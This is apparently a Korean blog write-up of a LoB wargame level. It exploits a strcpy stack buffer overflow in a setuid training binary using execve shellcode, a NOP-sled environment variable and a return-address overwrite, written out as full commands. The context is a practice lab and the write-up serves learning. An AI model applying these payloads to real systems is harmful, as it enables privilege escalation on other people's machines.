id : gate
pw : gate
LoB의 문제들은 해당 level의 권한에서 다음 level 권한을 획득하여 다음 level의 비밀번호를 알아내는 방식이다. 그래서 level1의 gate로 접속해 취약점을 찾아 level2의 gremlin의 권한을 획득한 후, gremlin의 비밀번호를 알아내야한다. 따라서 앞으로 할 일은 (1) 취약점 찾기, (2) payload 작성, (3) gremlin 권한 획득, (4) my-pass로 gremlin 비밀번호 획득 이다.
1. 취약점 찾기
-1. 문제 파악
gate로 접속해 들어가보면 아래의 파일들을 볼 수 있다. gremlin.c로 취약점을 찾고, gremlin 권한의 gremlin을 실행해 권한을 획득하면 될 것 같다.
gremlin.c 파일을 확인해보자.
[gate@localhost gate]$ nl gremlin.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - gremlin
4 - simple BOF
5 */
6
7 int main(int argc, char *argv[])
8 {
9 char buffer[256];
10 if(argc < 2){
11 printf("argv error\n");
12 exit(0);
13 }
14 strcpy(buffer, argv[1]);
15 printf("%s\n", buffer);
16 }
코드 내용은 char형 변수 buffer를 256만큼의 크기로 선언하고 if 문을 통해 전달받은 인자가 2개 이상인지 확인한다. 그 후 buffer에 인자를 copy(strcpy)한다.
strcpy 여기서 문제가 발생한다!! strcpy는 문자열의 길이를 검사하지 않고 null문자를 만나기 전까지의 문자열을 복사한다. 예를 들어 복사할 문자(여기서는 argv[1])의 크기가 300이면, buffer의 크기보다 크다. 이 경우 크기를 검사하지 않기 때문에 정해진 buffer의 영역을 넘어가 buffer overflow가 일어난다.
** buffer overflow?? **
** gremlin 파일의 취약점을 트리거 해 쉘을 실행시켰을 때 gremlin 권한을 얻을 수 있는 이유는 gremlin 바이너리 파일에 setreuid가 걸려있기 때문이다. setreuid가 걸려있으면 해당 프로세스가 실행중인 동안 getreuid로 설정해준 권한으로 프로세스가 돌아간다. 따라서 gremlin의 권한으로 프로그램이 실행되고, 해당 프로그램의 취약점을 트리거해 쉘을 따면 그 쉘도 gremlin 권한인 것이다.
이제 buffer overflow를 일으켜 쉘을 딸 수 있도록 payload를 작성해보자.
2. 페이로드(payload) 작성
-1. 스택 구조 파악
gdb로 gremlin을 열어서 확인해보자. 권한문제 때문에 gremlin을 gremlim으로 복사해준다.
gremlim을 gdb로 확인해보면 buffer가 딱 0x100(256)만큼 할당하고 있다. dummy는 없는 것으로 확인된다. 따라서 스택 구조는 오른쪽 그림과 같다.
그럼 buffer에 쉘코드를 넣고, buffer overflow를 이용해 ret 부분에 buffer 주소를 넣어주면 쉘을 실행할 수 있을 것이다. 그럼 이제 해야될 일은 (1) 쉘코드 넣기, (2) buffer주소 구하기 이다.
-2. 쉘코드 넣기
이 문제에 이용한 쉘코드는 다음과 같다. 이 쉘코드는 25바이트이다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
-3. buffer 주소 구하기
gdb를 이용해 buffer 시작 주소를 구해보자. buffer의 주소를 알고싶은 것이므로 strcpy이후인 main+59에 breakpoint를 걸어주자. 이후 buffer에 넣을 내용을 인자로 넣어 실행시켜준다. 이때, buffer의 시작주소가 궁금한 것이기 때문에 내용은 대충 A를 10개 채워 넣었다.
이후 esp를 확인해 buffer의 시작 주소를 구해준다. hex값으로 esp주소부터 24word(1word = 4byte)안의 내용을 출력하였다.
A를 10개 넣어줬는데 그 시작이 0xbffffa00에서 8만큼 떨어진 0xbffffa08인 것을 알 수 있다.
** 수정 **
실패의 이유를 찾았다! buffer의 크기가 256인데 내가 buffer의 주소를 구할 때 넣은 값의 크기는 10이다. 내가 얻은 주소는 SFP-0x10의 주소인 것이다. A를 256개 넣어주면 제대로 된 주소인 0xbffff918이 나온다. 페이로드도 ret 주소를 바꿔주면 제대로 쉘이 따지는 것을 확인할 수 있다.
-4. 페이로드 작성 (실패..)
이제 모든 정보를 합쳐 페이로드를 작성해준다.
페이로드는 아래와 같고, 이를 실행시키면 다음과 같은 결과를 얻을 수 있다.
`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*(256-25+4)+"\x08\xfa\xff\xbf"'`
계속 segmentation fault만 뜬다... 혹시 몰라 다른 사람의 write up의 페이로드로 해봤는데 똑같은 결과가 나왔다.... 다른 사람의 풀이를 참고해 다른 방법으로 풀었다...
-5. 쉘코드를 환경변수로 넣어 환경변수 실행
환경변수로 쉘코드를 넣고 해당 환경변수 주소를 return address로 설정해준다.
환경변수 설정
export SHELLCODE=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
SHELLCODE라는 이름의 환경변수에 쉘코드를 넣어준다. 이 때, 쉘코드 앞에 \x90이 들어가는데 이는 NOP sled라는 기법이다.
환경변수 주소 알아내기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *envaddr;
envaddr = getenv(argv[1]);
printf("env addr : %p\n", envaddr);
return 0;
}
위의 코드를 이용해 SHELLCODE의 주소를 확인한다. 그 결과 SHELLCODE의 주소는 0xbffffe68이다. 이 주소에 쉘코드가 위치해 있는 것이다.
페이로드 작성
이제 쉘코드가 환경변수에 있으므로 크기가 260인 더미값을 넣고 return address를 0xbffffe68로 설정해준다. 그 결과는 아래 사진과 같다. gremlin 권한의 쉘을 실행할 수 있고, 비밀번호를 알아낼 수 있다.
./gremlin `python -c 'print "\x90"*260+"\x68\xfe\xff\xbf"'`
3. 취약점 트리거 및 비밀번호 획득
위의 페이로드로 gremlin권한의 gremlin 바이너리 파일을 실행하면 gremlin 권한의 쉘을 딸 수 있다. setreuid때문에 euid가 gremlin으로 설정되어있고, my-pass로 gremlin의 비밀번호를 알아낼 수 있다.
level1 끝~~
'wargame - system > LoB' 카테고리의 다른 글
[LoB] Level3 : cobolt >> goblin (0) | 2022.11.13 |
---|---|
[LoB] Level2 : gremlin >> cobolt (0) | 2022.11.13 |
[LoB] The Load of BoF - 해커스쿨 BoF 환경 구축 (0) | 2022.10.31 |